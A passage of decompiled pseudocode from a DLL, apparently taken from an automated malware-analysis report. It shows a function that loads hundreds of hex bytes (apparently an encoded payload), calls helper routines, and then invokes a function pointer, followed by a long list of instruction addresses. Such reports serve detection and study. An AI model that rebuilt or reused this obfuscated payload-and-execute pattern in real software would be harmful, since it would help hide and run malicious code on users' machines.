						_v839 = 0x4d;
						_v838 = 0xdd;
						_v837 = 0x96;
						_v836 = 0x7f;
						_v835 = 0x7b;
						_v834 = 0xe8;
						_v833 = 0xb8;
						_v832 = 1;
						_v831 = 0xca;
						_v830 = 0x2e;
						_v829 = 0xa1;
						_v828 = 0x30;
						_v827 = 0x52;
						_v826 = 0x74;
						_v825 = 0xf;
						_v824 = 0xea;
						_v823 = 0x8b;
						_v822 = 0x45;
						_v821 = 0xd4;
						_v820 = 0x2a;
						_v819 = 0x45;
						_v818 = 0x45;
						_v817 = 0x13;
						_v816 = 0xd5;
						_v815 = 0x4b;
						_v814 = 0x5c;
						_v813 = 0x2f;
						_v812 = 0xb;
						_v811 = 0x57;
						_v810 = 0xd9;
						_v809 = 0x2a;
						_v808 = 0x2b;
						_v807 = 0x8f;
						_v806 = 0x3f;
						_v805 = 0xc7;
						_v804 = 0x79;
						_v803 = 0x61;
						_v802 = 0x37;
						_v801 = 0x5e;
						_v800 = 0x16;
						_v799 = 0xd5;
						_v798 = 0x76;
						_v797 = 5;
						_v796 = 0xd3;
						_v795 = 0x8c;
						_v794 = 0x4e;
						_v793 = 0x70;
						_v792 = 0x67;
						_v791 = 0x48;
						_v790 = 0xe3;
						_v789 = 0xe8;
						_v788 = 0x55;
						_v787 = 0xfa;
						_v786 = 0x9f;
						_v785 = 0x45;
						_v784 = 8;
						_v783 = 0xca;
						_v782 = 0x22;
						_v781 = 0x41;
						_v780 = 0x33;
						_v779 = 0x9f;
						_v778 = 0x12;
						_v777 = 0x62;
						_v776 = 0x8f;
						_v775 = 0x17;
						_v774 = 0x66;
						_v773 = 0x37;
						_v772 = 0xc;
						_v771 = 0x2d;
						_v770 = 0xe;
						_v769 = 0xdf;
						_v768 = 0xfa;
						_v767 = 0x2e;
						_v766 = 0xd7;
						_v765 = 0xb6;
						_v764 = 0x3e;
						_v763 = 0xbb;
						_v762 = 0x87;
						_v761 = 0xe1;
						_v760 = 0x79;
						_v759 = sil;
						_v758 = 0x2a;
						_v757 = 0xab;
						_v756 = 0x2d;
						_v755 = 0xc4;
						_v754 = 0x12;
						_v753 = 0x7a;
						_v752 = 0x1f;
						_v751 = 0x30;
						_v750 = 0xae;
						_v749 = 0x13;
						_v748 = 0x70;
						_v747 = 0xa;
						_v746 = 0x23;
						_v745 = 0x1b;
						_v744 = 0xb4;
						_v743 = 0x10;
						_v742 = 0xcd;
						_v741 = 3;
						_v740 = 0x45;
						_v739 = 0x63;
						_v738 = 0x66;
						_v737 = 0xd6;
						_v736 = 0x1a;
						_v735 = 0x45;
						_v734 = 0x6f;
						_v733 = 0x1b;
						_v732 = 0xd5;
						_v731 = 0xf9;
						_v730 = 0x39;
						_v729 = 0xdc;
						_v728 = 0x92;
						_v727 = 0x1d;
						_v726 = 0xa9;
						_v725 = 0xa0;
						_v724 = 0x20;
						_v723 = 0x3d;
						_v722 = 0xf5;
						_v721 = 0x83;
						_v720 = 0x4f;
						_v719 = 0x28;
						_v718 = 0xc0;
						_v717 = 0x3e;
						_v716 = 0x5f;
						_v715 = 0x2a;
						_v714 = 0x66;
						_v713 = 5;
						_v712 = 0xdd;
						_v711 = 0x12;
						_v710 = 0x13;
						_v709 = 0x48;
						_v708 = 0xc8;
						_v707 = 0xe5;
						_v706 = 0x18;
						_v705 = 0x29;
						_v704 = 0x81;
						_v703 = 0x69;
						_v702 = 0xff;
						_v701 = 0x72;
						_v700 = 0x60;
						_v699 = 0xc2;
						_v698 = 0xa1;
						_v697 = 0x4c;
						_v696 = 0x85;
						_v695 = 0x32;
						_v694 = 0xa1;
						_v693 = 0x9e;
						_v692 = 0xb2;
						_v691 = 0x1e;
						_v690 = 0xd5;
						_v689 = 0x4a;
						_v688 = 0x78;
						_v687 = 0x66;
						_v686 = 0x74;
						_v685 = 0xb0;
						_v684 = 0x6e;
						_v683 = 0x69;
						_v682 = 0x9f;
						_v681 = 3;
						_v680 = 0x62;
						_v679 = 1;
						_v678 = 0xcc;
						_v677 = 0x9d;
						_v676 = 0xa;
						_v675 = 0x83;
						_v674 = 0x99;
						_v673 = 0x76;
						_v672 = 0x20;
						_v671 = 0xf0;
						_v670 = 0x57;
						_v669 = 0x5e;
						_v668 = 0x37;
						_v667 = 0x78;
						_v666 = 0x45;
						_v665 = 3;
						_v664 = 0x6f;
						_v663 = 0x4d;
						_v662 = 0x60;
						_v661 = 0x27;
						_v660 = 0xf7;
						_v659 = 0xc7;
						_v658 = 0x44;
						_v657 = 0x47;
						_v656 = 0x61;
						_v655 = 0xf;
						_v654 = 3;
						_v653 = 0xa8;
						_v652 = 0x1f;
						_v651 = 0xec;
						_v650 = 0x38;
						_v649 = 0x49;
						_v648 = 0x1b;
						_v647 = 0xe;
						_v646 = 0x5e;
						_v645 = 0x2c;
						_v644 = 0xc3;
						_v643 = 0xd2;
						_v642 = 0x2a;
						_v641 = 0x66;
						_v640 = 0x28;
						_v639 = 0x35;
						_v638 = 0xfd;
						_v637 = 2;
						_v636 = 0x53;
						_v635 = 0xea;
						_v634 = 0x8b;
						_v633 = 0x81;
						_v632 = 0xbe;
						_v631 = 0x5e;
						_v630 = 0x61;
						_v629 = 0x4d;
						_v628 = 0x16;
						_v627 = 0x51;
						_v626 = 0x8d;
						_v625 = 0x98;
						_v624 = 0x3e;
						_v623 = 0x35;
						_v622 = 0x76;
						_v621 = 0xaf;
						_v620 = 0xaf;
						_v619 = 0x5d;
						_v618 = 0x78;
						_v617 = 0xf3;
						_v616 = 0x84;
						_v615 = 3;
						_v614 = 0xec;
						_v613 = 2;
						_v612 = 8;
						_v611 = 0x1a;
						_v610 = 0x51;
						_v609 = 0x28;
						_v608 = 0x88;
						_v607 = 0xbd;
						_v606 = 0x6d;
						_v605 = 0x76;
						_v604 = 0xc0;
						_v603 = 0x27;
						_v602 = 0x47;
						_v601 = 0x54;
						_v600 = 0x2a;
						_v599 = 0xe3;
						_v598 = 0xe8;
						_v597 = 0x35;
						_v596 = 0xfb;
						_v595 = 4;
						_v594 = 0xb9;
						_v593 = 0x25;
						_v592 = 0x4c;
						_v591 = 0x49;
						_v590 = 0x9f;
						_v589 = 0xb5;
						_v588 = 0x40;
						_v587 = 0xc8;
						_v586 = 0x9f;
						_v585 = 0x2b;
						_v584 = 0x26;
						_v583 = 0xc1;
						_v582 = 0x33;
						_v581 = 0x47;
						_v580 = 0x54;
						_v579 = 0x2a;
						_v578 = 0xe3;
						_v577 = 0xe8;
						_v576 = 0x30;
						_v575 = 0xfb;
						_v574 = 5;
						_v573 = 0x37;
						_v572 = 0x25;
						_v571 = 0x4c;
						_v570 = 0x49;
						_v569 = 0x9e;
						_v568 = 0xb5;
						_v567 = 0x6d;
						_v566 = 0xc8;
						_v565 = 0x96;
						_v564 = 0x1f;
						_v563 = 0x8f;
						_v562 = 0x38;
						_v561 = 0x23;
						_v560 = 0x47;
						_v559 = 0x54;
						_v558 = 0x6e;
						_v557 = 0x69;
						_v556 = 0x61;
						_v555 = 0xb2;
						_v554 = 0x32;
						_v553 = 0xcd;
						_v552 = 0xc2;
						_v551 = 0xc9;
						_v550 = 0x43;
						_v549 = sil;
						_v548 = 0x5f;
						_v547 = 0x1f;
						_v546 = 0x96;
						_v545 = 0xb;
						_v544 = 0x42;
						_v543 = 0x5e;
						_v542 = 0x37;
						_v541 = 0x78;
						_v540 = 0x27;
						_v539 = 0x33;
						_v538 = 0x58;
						_v537 = 0x6b;
						_v536 = 0x69;
						_v535 = 0x92;
						_v534 = 0x9c;
						_v533 = 0x7f;
						_v532 = sil;
						_v531 = 0xce;
						_v530 = 0xe4;
						_v529 = 0xeb;
						_v528 = sil;
						_v527 = 0x5f;
						_v526 = 0x5e;
						_v525 = 0x20;
						_v524 = 0xc6;
						_v523 = 0x18;
						_v522 = 0xa2;
						_v521 = 0x7b;
						_v520 = 0xf5;
						_v519 = 0xae;
						_v518 = 0xef;
						_v517 = 0x54;
						_v516 = 0x2a;
						_v515 = 0x66;
						_v514 = 0x69;
						_v513 = 0xff;
						_v512 = 0x60;
						_v511 = 0xc;
						_v510 = 0x44;
						_v509 = 0xaa;
						_v508 = 0xbc;
						_v507 = 0x55;
						_v506 = 0xb7;
						_v505 = 0x51;
						_v504 = 0xd6;
						_v503 = 0xa;
						_v502 = 0x50;
						_v501 = 0x1b;
						_v500 = 0x34;
						_v499 = 0x85;
						_v498 = 0x6a;
						_v497 = 0xc4;
						_v496 = 0x92;
						_v495 = 2;
						_v494 = 0x22;
						_v493 = 0x13;
						_v492 = 0x8c;
						_v491 = 0x79;
						_v490 = 0xc6;
						_v489 = 0x1a;
						_v488 = 0x9e;
						_v487 = 0xbc;
						_v486 = 0xff;
						_v485 = 0x17;
						_v484 = 0xd5;
						_v483 = 0xd4;
						_v482 = 0xed;
						_v481 = 0x56;
						_v480 = 0x5e;
						_v479 = 0x37;
						_v478 = 0x3d;
						_v477 = 0x10;
						_v476 = 0x87;
						_v475 = 0x67;
						_v474 = 0xf8;
						_v473 = 0x2e;
						_v472 = 0xab;
						_v471 = 0xbd;
						_v470 = 0x89;
						_v469 = 0xbb;
						_v468 = 0x12;
						_v467 = 0x91;
						_v466 = 7;
						_v465 = 0x39;
						_v464 = 0xf8;
						_v463 = 0x8a;
						_v462 = 0x61;
						_v461 = 0x4d;
						_v460 = 0x56;
						_v459 = 0x2a;
						_v458 = 0x13;
						_v457 = 0xf3;
						_v456 = 0xa4;
						_v455 = 0x97;
						_v454 = 0x54;
						_v453 = 0x2a;
						_v452 = 0x66;
						_v451 = 0x64;
						_v450 = 0xff;
						_v449 = 2;
						_v448 = 0x5c;
						_v447 = 0x5f;
						_v446 = 0x8a;
						_v445 = 0x4c;
						_v444 = 0x45;
						_v443 = 0x6c;
						_v442 = 0x9e;
						_v441 = 0x20;
						_v440 = 0xc6;
						_v439 = 0x83;
						_v438 = 0x16;
						_v437 = 0xbc;
						_v436 = 0xb3;
						_v435 = 0xdc;
						_v434 = 0x97;
						_v433 = 0x19;
						_v432 = 0xa7;
						_v431 = 0x10;
						_v430 = 0x20;
						_v429 = 0x3d;
						_v428 = 0xfd;
						_v427 = 0x42;
						_v426 = 0xf;
						_v425 = 0xe4;
						_v424 = 0x83;
						_v423 = 0x75;
						_v422 = 0xb6;
						_v421 = 0x12;
						_v420 = 0xea;
						_v419 = sil;
						_v418 = 0x5e;
						_v417 = 0x13;
						_v416 = 0xb2;
						_v415 = 0xb1;
						_v414 = 0x57;
						_v413 = 0x68;
						_v412 = 0xdf;
						_v411 = 0xad;
						_v410 = 0xc2;
						_v409 = 0x28;
						_v408 = 0x74;
						_v407 = 0x76;
						_v406 = 0xc1;
						_v405 = 0x87;
						_v404 = 0x15;
						_v403 = 0x66;
						_v402 = 0x8b;
						_v401 = 0x97;
						_v400 = 0x12;
						_v399 = 0xea;
						_v398 = 0x8e;
						_v397 = 0x1e;
						_v396 = 0xe6;
						_v395 = 0x9c;
						_v394 = 0xd2;
						_v393 = 0x89;
						_v392 = 0xed;
						_v391 = 0xfe;
						_v390 = 0x80;
						_v389 = 0xcc;
						_v388 = 0x82;
						_v387 = 0x3c;
						_v386 = 0x81;
						_v385 = 0xa5;
						_v384 = 0xcc;
						_v383 = 0xee;
						_v382 = 0xe3;
						_v381 = sil;
						_v380 = 0x5f;
						_v379 = 0x5e;
						_v378 = 0x29;
						_v377 = 0x8c;
						_v376 = 0xbc;
						_v375 = 0x5d;
						_v374 = 0x7f;
						_v373 = 0x7b;
						_v372 = 0xe8;
						_v371 = 6;
						_v370 = 0x7f;
						_v369 = 0xff;
						_v368 = 0x27;
						_v367 = 0xd7;
						_v366 = 0xa5;
						_v365 = 0xfd;
						_v364 = 3;
						_v363 = 0x6f;
						_v362 = 0x2c;
						_v361 = 0xc8;
						_v360 = 0xc5;
						_v359 = 0x17;
						_v358 = 0xd5;
						_v357 = 0x6f;
						_v356 = 5;
						_v355 = 0x55;
						_v354 = 0x9d;
						_v353 = 0x76;
						_v352 = 0xf3;
						_v351 = 0xf6;
						_v350 = 0xb8;
						_v349 = 0x84;
						_v348 = 0x62;
						_v347 = 0xed;
						_v346 = 0xeb;
						_v345 = 0x3c;
						_v344 = 0xff;
						_v343 = 0x1a;
						_v342 = 0x5f;
						_v341 = 0x8a;
						_v340 = 0x41;
						_v339 = 0x33;
						_v338 = 0x9f;
						_v337 = 0x16;
						_v336 = 0xe0;
						_v335 = 0x89;
						_v334 = 0xe;
						_v333 = 0x5f;
						_v332 = 0x37;
						_v331 = 0x78;
						_v330 = 0x62;
						_v329 = 0x18;
						_v328 = 0x15;
						_v327 = 0x74;
						_v326 = 0x27;
						_v325 = 0x75;
						_v324 = 0x35;
						_v323 = 0x2a;
						_v322 = 0x1b;
						_v321 = 0x19;
						_v320 = 0x3a;
						_v319 = 0x1e;
						_v318 = 0xc3;
						_v317 = 0x93;
						_v316 = 0x16;
						_v315 = 0xea;
						_v314 = 0x89;
						_v313 = 0x1e;
						_v312 = 0xd7;
						_v311 = 0x6f;
						_v310 = 0x70;
						_v309 = 0x6b;
						_v308 = 0xce;
						_v307 = 0x3c;
						_v306 = 0x3a;
						_v305 = 0x2e;
						_v304 = 0xa1;
						_v303 = 4;
						_v302 = 0x6e;
						_v301 = 0xc;
						_v300 = 0xce;
						_v299 = 0x19;
						_v298 = 0x63;
						_v297 = 0x41;
						_v296 = 9;
						_v295 = 0x16;
						_v294 = 0xe2;
						_v293 = 0xa1;
						_v292 = 0x46;
						_v291 = 0x3b;
						_v290 = 0x7f;
						_v289 = 0xf3;
						_v288 = 0x27;
						_v287 = 0x62;
						_v286 = 0x34;
						_v285 = 0x2a;
						_v284 = 0x66;
						_v283 = 0x28;
						_v282 = 0xff;
						_v281 = 0x9f;
						_v280 = 1;
						_v279 = 0x74;
						_v278 = 0x97;
						_v277 = 0xb;
						_v276 = 0x8b;
						_v275 = 0xf;
						_v274 = 0x46;
						_v273 = 0x2d;
						_v272 = 0xc6;
						_v271 = 4;
						_v270 = 0x4e;
						_v269 = 0x7a;
						_v268 = 0xf3;
						_v267 = 0x61;
						_v266 = 0x77;
						_v265 = 0x19;
						_v264 = 0xaf;
						_v263 = 0xa6;
						_v262 = 0x27;
						_v261 = 0xf0;
						_v260 = 0xc1;
						_v259 = 0x44;
						_v258 = 0x47;
						_v257 = 0x61;
						_v256 = 2;
						_v255 = 0xf;
						_v254 = 0x4f;
						_v253 = 0x1c;
						_v252 = 0x39;
						_v251 = 4;
						_v250 = 0x35;
						_v249 = 0x1e;
						_v248 = 0xb;
						_v247 = 0x39;
						_v246 = 0xa8;
						_v245 = 0x91;
						_v244 = 0x19;
						_v243 = 0xa1;
						_v242 = 0x74;
						_v241 = 0xdb;
						_v240 = 0x7b;
						_v239 = 9;
						_v238 = 0x40;
						_v237 = 0x63;
						_v236 = 0x27;
						_v235 = 0xc8;
						_v234 = 0x9c;
						_v233 = 0x5f;
						_v232 = 0xd6;
						_v231 = 0x61;
						_v230 = 0x4d;
						_v229 = 0x56;
						_v228 = 0x1b;
						_v227 = 0xb2;
						_v226 = 0xa3;
						_v225 = 0x57;
						_v224 = 0x95;
						_v223 = 0x1c;
						_v222 = 0xa1;
						_v221 = 0x62;
						_v220 = 0xc;
						_v219 = 0x3c;
						_v218 = 0xb7;
						_v217 = 0xac;
						_v216 = 0x57;
						_v215 = 7;
						_v214 = 7;
						_v213 = 0x3b;
						_v212 = 0xaf;
						_v211 = 0x2d;
						_v210 = 0x43;
						_v209 = 5;
						_v208 = 0xdd;
						_v207 = 0x12;
						_v206 = 0x13;
						_v205 = 0x70;
						_v204 = 0x67;
						_v203 = 0x48;
						_v202 = 0xe3;
						_v201 = 0xe2;
						_v200 = 0x69;
						_v199 = 0x96;
						_v198 = 0x75;
						_v197 = 0xb7;
						_v196 = 0x8e;
						_v195 = 0x4a;
						_v194 = 0xe1;
						_v193 = 0x7a;
						_v192 = 0x61;
						_v191 = 0x23;
						_v190 = 0x5d;
						_v189 = 0xe2;
						_v188 = 0x8f;
						_v187 = 0xb6;
						_v186 = 0x5d;
						_v185 = 0xe7;
						_v184 = 0x30;
						_v183 = 0xdc;
						_v182 = 0x86;
						_v181 = 0x1d;
						_v180 = 0xa9;
						_v179 = 0x8f;
						_v178 = 0x29;
						_v177 = 1;
						_v176 = 0x91;
						_v175 = 0xf;
						_v174 = 0xca;
						_v173 = 0x5d;
						_v172 = 0x5b;
						_v171 = 0x44;
						_v170 = 0xd4;
						_v169 = 0x11;
						_v168 = 0x79;
						_v167 = 0xc6;
						_v166 = 0x11;
						_v165 = 0x7e;
						_v164 = 0x76;
						_v163 = 0x87;
						_v162 = 0xea;
						_v161 = 0xe;
						_v160 = 0x57;
						_v159 = 0xea;
						_v158 = 0x2c;
						_v157 = 0xa5;
						_v156 = 0x40;
						_v155 = 0xfe;
						_v154 = 0xaf;
						_v153 = 0x6f;
						_v152 = 0xea;
						_v151 = 0x5d;
						_v150 = 0x45;
						_v149 = 0xd4;
						_v148 = 0x80;
						_v147 = 0x28;
						_v146 = 0x4e;
						_v145 = 0x8e;
						_v144 = 0x16;
						_v143 = 0xba;
						_v142 = 0xe;
						_v141 = 0xdf;
						_v140 = 0x48;
						_v139 = 0xea;
						_v138 = 0x21;
						_v137 = 0x2e;
						_v136 = 0xd7;
						_v135 = 0xb7;
						_v134 = 0x37;
						_v133 = 0x85;
						_v132 = 0x8c;
						_v131 = 0x6c;
						_v130 = 7;
						_v129 = 3;
						_v128 = 0x86;
						_v127 = 0xda;
						_v126 = 0xa8;
						_v125 = 0x38;
						_v124 = 0xb9;
						_v123 = 0x1f;
						_v122 = 0xba;
						_v121 = 0x7c;
						_v120 = 0x30;
						_v119 = 0x7c;
						_v118 = 0x91;
						_v117 = 0x5e;
						_v116 = 0x68;
						_v115 = 0x69;
						_v114 = 0x8b;
						_v113 = 0xbf;
						_v112 = 5;
						_v111 = 0xc4;
						_v110 = 0x98;
						_v109 = 0x42;
						_v108 = 0x77;
						_v107 = 0x8d;
						_v106 = 0xb7;
						_v105 = 0x39;
						_v104 = 0xb2;
						_v103 = 0xa9;
						_v102 = 0xa1;
						_v101 = 0xbc;
						_v100 = 0x3f;
						_v99 = 7;
						_v98 = 4;
						_v97 = 0xd9;
						_v96 = 0x26;
						_v95 = 0x6f;
						_v94 = 0x61;
						_v93 = 0x77;
						_v92 = 0xb6;
						_v91 = 0x4b;
						_v90 = 0xf0;
						_v89 = 0x75;
						_v88 = 0x42;
						_v87 = 0x8b;
						_v86 = 0x10;
						_v85 = 0x42;
						_v84 = 0x28;
						_v83 = 0x4e;
						_v82 = 0x9e;
						_v81 = 0xd5;
						_v80 = 0x33;
						_v79 = 0xe9;
						_v78 = 0x6a;
						_v77 = 0x44;
						_v76 = 0x94;
						_v75 = 0xc1;
						_v74 = 0x64;
						_v73 = 0x1b;
						_v72 = 0xb4;
						_v71 = 0x3e;
						_v70 = 0xcf;
						_v69 = 0x1b;
						_v68 = 0x45;
						_v67 = 0x63;
						_v66 = 0x48;
						_v65 = 0xd4;
						_v64 = 0x32;
						_v63 = 0x45;
						_v62 = 0x65;
						_v61 = 0x1e;
						_v60 = 0xd5;
						_v59 = 0x43;
						_v58 = 0x5c;
						_v57 = 0x13;
						_v56 = 0xf;
						_v55 = 0xdf;
						_v54 = 0x56;
						_v53 = 0x42;
						_v52 = 0x10;
						_v51 = 0x3c;
						_v50 = 0xf5;
						_v49 = 0x80;
						_v48 = 0x57;
						_v47 = 0x20;
						_v46 = 0x1d;
						_v45 = 0xc3;
						_v2736 = _t2677;
						E100073A4(_t2645, 0, __ebp, _t2659,  &_v2688, __rdx, __r9); // executed
						E100073A4(_t2645, 0, __ebp, _t2659,  &_v2728, __rdx, __r9); // executed
						__eflags =  *((long long*)(_t2659 + 0x20)) - 0x10;
						if( *((long long*)(_t2659 + 0x20)) < 0x10) {
							_t2613 = _t2659 + 8; // 0x8
							_t2680 = _t2613;
						} else {
							_t2680 =  *((intOrPtr*)(_t2659 + 8));
						}
						_t2675 =  &_v2744;
						r9d = _t2643;
						_t2637 = E100061AC(_t2651, _t2654, _t2659,  &_v2736, _t2675, _t2680, _t2681);
						__eflags = _t2637 - sil;
						_t2644 = _t2643 & 0xffffff00 | _t2637 == sil;
						__eflags = _v2696 - 0x10;
						if(_v2696 >= 0x10) {
							_t2637 = L1000E25C(_t2659, _v2720);
						}
						__eflags = _v2656 - 0x10;
						_v2696 = 0xf;
						_v2704 = _t2677;
						_v2720 = sil;
						if(_v2656 >= 0x10) {
							_t2637 = L1000E25C(_t2659, _v2680);
						}
						__eflags = _t2644 - sil;
						_v2656 = 0xf;
						_v2664 = _t2677;
						_v2680 = sil;
						if(_t2644 != sil) {
							goto L2;
						} else {
							__eflags = 0;
							_t2628 = _t2675 + 0x20; // 0x20
							r8d = _t2628;
							E1002E410(_t2637, _t2645, 0, 0x100b3b60, _t2675, _t2680);
							 *0x100b3b60 = _t2676;
							 *0x100b3b68 = 1; // executed
							E10008150(_v2744, _t2653, __eflags, _t2659, _v2736, _t2680); // executed
							 *0x100b3b70 = _t2659; // executed
							E10008150(0xa2c, _t2653, __eflags, _t2659,  &_v2648, _t2680); // executed
							 *_t2659();
							goto L12;
						}
					} else {
						L2:
					}
				}
				return E1002FF40(_t2645, _v40 ^ _t2678);
			}

0x1000821c
0x1000821c
0x1000821c
0x1000821c
0x1000821c
0x10008227
0x1000822e
0x10008231
0x1000823c
0x1000823f
0x10008250
0x10008254
0x1000825d
0x10008266
0x1000826e
0x10008276
0x1000827e
0x10008286
0x1000828e
0x10008296
0x1000829e
0x100082a6
0x100082ae
0x100082b6
0x100082be
0x100082c6
0x100082ce
0x100082d6
0x100082de
0x100082e6
0x100082ee
0x100082f6
0x100082fe
0x10008306
0x1000830e
0x10008316
0x1000831e
0x10008326
0x1000832e
0x10008336
0x1000833e
0x10008346
0x1000834e
0x10008356
0x1000835e
0x10008366
0x1000836e
0x10008376
0x1000837e
0x10008386
0x1000838e
0x10008396
0x1000839e
0x100083a6
0x100083ae
0x100083b6
0x100083be
0x100083c6
0x100083ce
0x100083d6
0x100083de
0x100083e6
0x100083ee
0x100083f6
0x100083fe
0x10008406
0x1000840e
0x10008416
0x1000841e
0x10008426
0x1000842e
0x10008436
0x1000843e
0x10008446
0x1000844e
0x10008456
0x1000845e
0x10008466
0x1000846e
0x10008476
0x1000847e
0x10008486
0x1000848e
0x10008496
0x1000849e
0x100084a6
0x100084ae
0x100084b6
0x100084be
0x100084c6
0x100084ce
0x100084d6
0x100084de
0x100084e6
0x100084ee
0x100084f6
0x100084fe
0x10008506
0x1000850e
0x10008516
0x1000851e
0x10008526
0x1000852e
0x10008536
0x1000853e
0x10008546
0x1000854e
0x10008556
0x1000855e
0x10008566
0x1000856e
0x10008576
0x1000857e
0x10008586
0x1000858e
0x10008596
0x1000859e
0x100085a6
0x100085ae
0x100085b6
0x100085be
0x100085c6
0x100085ce
0x100085d6
0x100085de
0x100085e6
0x100085ee
0x100085f6
0x100085fe
0x10008606
0x1000860e
0x10008616
0x1000861e
0x10008626
0x1000862e
0x10008636
0x1000863e
0x10008646
0x1000864e
0x10008656
0x1000865e
0x10008666
0x1000866e
0x10008676
0x1000867e
0x10008686
0x1000868e
0x10008696
0x1000869e
0x100086a6
0x100086ae
0x100086b6
0x100086be
0x100086c6
0x100086ce
0x100086d6
0x100086de
0x100086e6
0x100086ee
0x100086f6
0x100086fe
0x10008706
0x1000870e
0x10008716
0x1000871e
0x10008726
0x1000872e
0x10008736
0x1000873e
0x10008746
0x1000874e
0x10008756
0x1000875e
0x10008766
0x1000876e
0x10008776
0x1000877e
0x10008786
0x1000878e
0x10008796
0x1000879e
0x100087a6
0x100087ae
0x100087b6
0x100087be
0x100087c6
0x100087ce
0x100087d6
0x100087de
0x100087e6
0x100087ee
0x100087f6
0x100087fe
0x10008806
0x1000880e
0x10008816
0x1000881e
0x10008826
0x1000882e
0x10008836
0x1000883e
0x10008846
0x1000884e
0x10008856
0x1000885e
0x10008866
0x1000886e
0x10008876
0x1000887e
0x10008886
0x1000888e
0x10008896
0x1000889e
0x100088a6
0x100088ae
0x100088b6
0x100088be
0x100088c6
0x100088ce
0x100088d6
0x100088de
0x100088e6
0x100088ee
0x100088f6
0x100088fe
0x10008906
0x1000890e
0x10008916
0x1000891e
0x10008926
0x1000892e
0x10008936
0x1000893e
0x10008946
0x1000894e
0x10008956
0x1000895e
0x10008966
0x1000896e
0x10008976
0x1000897e
0x10008986
0x1000898e
0x10008996
0x1000899e
0x100089a6
0x100089ae
0x100089b6
0x100089be
0x100089c6
0x100089ce
0x100089d6
0x100089de
0x100089e6
0x100089ee
0x100089f6
0x100089fe
0x10008a06
0x10008a0e
0x10008a16
0x10008a1e
0x10008a26
0x10008a2e
0x10008a36
0x10008a3e
0x10008a46
0x10008a4e
0x10008a56
0x10008a5e
0x10008a66
0x10008a6e
0x10008a76
0x10008a7e
0x10008a86
0x10008a8e
0x10008a96
0x10008a9e
0x10008aa6
0x10008aae
0x10008ab6
0x10008abe
0x10008ac6
0x10008ace
0x10008ad6
0x10008ade
0x10008ae6
0x10008aee
0x10008af6
0x10008afe
0x10008b06
0x10008b0e
0x10008b16
0x10008b1e
0x10008b26
0x10008b2e
0x10008b36
0x10008b3e
0x10008b46
0x10008b4e
0x10008b56
0x10008b5e
0x10008b66
0x10008b6e
0x10008b76
0x10008b7e
0x10008b86
0x10008b8e
0x10008b96
0x10008b9e
0x10008ba6
0x10008bae
0x10008bb6
0x10008bbe
0x10008bc6
0x10008bce
0x10008bd6
0x10008bde
0x10008be6
0x10008bee
0x10008bf6
0x10008bfe
0x10008c06
0x10008c0e
0x10008c16
0x10008c1e
0x10008c26
0x10008c2e
0x10008c36
0x10008c3e
0x10008c46
0x10008c4e
0x10008c56
0x10008c5e
0x10008c66
0x10008c6e
0x10008c76
0x10008c7e
0x10008c86
0x10008c8e
0x10008c96
0x10008c9e
0x10008ca6
0x10008cae
0x10008cb6
0x10008cbe
0x10008cc6
0x10008cce
0x10008cd6
0x10008cde
0x10008ce6
0x10008cee
0x10008cf6
0x10008cfe
0x10008d06
0x10008d0e
0x10008d16
0x10008d1e
0x10008d26
0x10008d2e
0x10008d36
0x10008d3e
0x10008d46
0x10008d4e
0x10008d56
0x10008d5e
0x10008d66
0x10008d6e
0x10008d76
0x10008d7e
0x10008d86
0x10008d8e
0x10008d96
0x10008d9e
0x10008da6
0x10008dae
0x10008db6
0x10008dbe
0x10008dc6
0x10008dce
0x10008dd6
0x10008dde
0x10008de6
0x10008dee
0x10008df6
0x10008dfe
0x10008e06
0x10008e0e
0x10008e16
0x10008e1e
0x10008e26
0x10008e2e
0x10008e36
0x10008e3e
0x10008e46
0x10008e4e
0x10008e56
0x10008e5e
0x10008e66
0x10008e6e
0x10008e76
0x10008e7e
0x10008e86
0x10008e8e
0x10008e96
0x10008e9e
0x10008ea6
0x10008eae
0x10008eb6
0x10008ebe
0x10008ec6
0x10008ece
0x10008ed6
0x10008ede
0x10008ee6
0x10008eee
0x10008ef6
0x10008efe
0x10008f06
0x10008f0e
0x10008f16
0x10008f1e
0x10008f26
0x10008f2e
0x10008f36
0x10008f3e
0x10008f46
0x10008f4e
0x10008f56
0x10008f5e
0x10008f66
0x10008f6e
0x10008f76
0x10008f7e
0x10008f86
0x10008f8e
0x10008f96
0x10008f9e
0x10008fa6
0x10008fae
0x10008fb6
0x10008fbe
0x10008fc6
0x10008fce
0x10008fd6
0x10008fde
0x10008fe6
0x10008fee
0x10008ff6
0x10008ffe
0x10009006
0x1000900e
0x10009016
0x1000901e
0x10009026
0x1000902e
0x10009036
0x1000903e
0x10009046
0x1000904e
0x10009056
0x1000905e
0x10009066
0x1000906e
0x10009076
0x1000907e
0x10009086
0x1000908e
0x10009096
0x1000909e
0x100090a6
0x100090ae
0x100090b6
0x100090be
0x100090c6
0x100090ce
0x100090d6
0x100090de
0x100090e6
0x100090ee
0x100090f6
0x100090fe
0x10009106
0x1000910e
0x10009116
0x1000911e
0x10009126
0x1000912e
0x10009136
0x1000913e
0x10009146
0x1000914e
0x10009156
0x1000915e
0x10009166
0x1000916e
0x10009176
0x1000917e
0x10009186
0x1000918e
0x10009196
0x1000919e
0x100091a6
0x100091ae
0x100091b6
0x100091be
0x100091c6
0x100091ce
0x100091d6
0x100091de
0x100091e6
0x100091ee
0x100091f6
0x100091fe
0x10009206
0x1000920e
0x10009216
0x1000921e
0x10009226
0x1000922e
0x10009236
0x1000923e
0x10009246
0x1000924e
0x10009256
0x1000925e
0x10009266
0x1000926e
0x10009276
0x1000927e
0x10009286
0x1000928e
0x10009296
0x1000929e
0x100092a6
0x100092ae
0x100092b6
0x100092be
0x100092c6
0x100092ce
0x100092d6
0x100092de
0x100092e6
0x100092ee
0x100092f6
0x100092fe
0x10009306
0x1000930e
0x10009316
0x1000931e
0x10009326
0x1000932e
0x10009336
0x1000933e
0x10009346
0x1000934e
0x10009356
0x1000935e
0x10009366
0x1000936e
0x10009376
0x1000937e
0x10009386
0x1000938e
0x10009396
0x1000939e
0x100093a6
0x100093ae
0x100093b6
0x100093be
0x100093c6
0x100093ce
0x100093d6
0x100093de
0x100093e6
0x100093ee
0x100093f6
0x100093fe
0x10009406
0x1000940e
0x10009416
0x1000941e
0x10009426
0x1000942e
0x10009436
0x1000943e
0x10009446
0x1000944e
0x10009456
0x1000945e
0x10009466
0x1000946e
0x10009476
0x1000947e
0x10009486
0x1000948e
0x10009496
0x1000949e
0x100094a6
0x100094ae
0x100094b6
0x100094be
0x100094c6
0x100094ce
0x100094d6
0x100094de
0x100094e6
0x100094ee
0x100094f6
0x100094fe
0x10009506
0x1000950e
0x10009516
0x1000951e
0x10009526
0x1000952e
0x10009536
0x1000953e
0x10009546
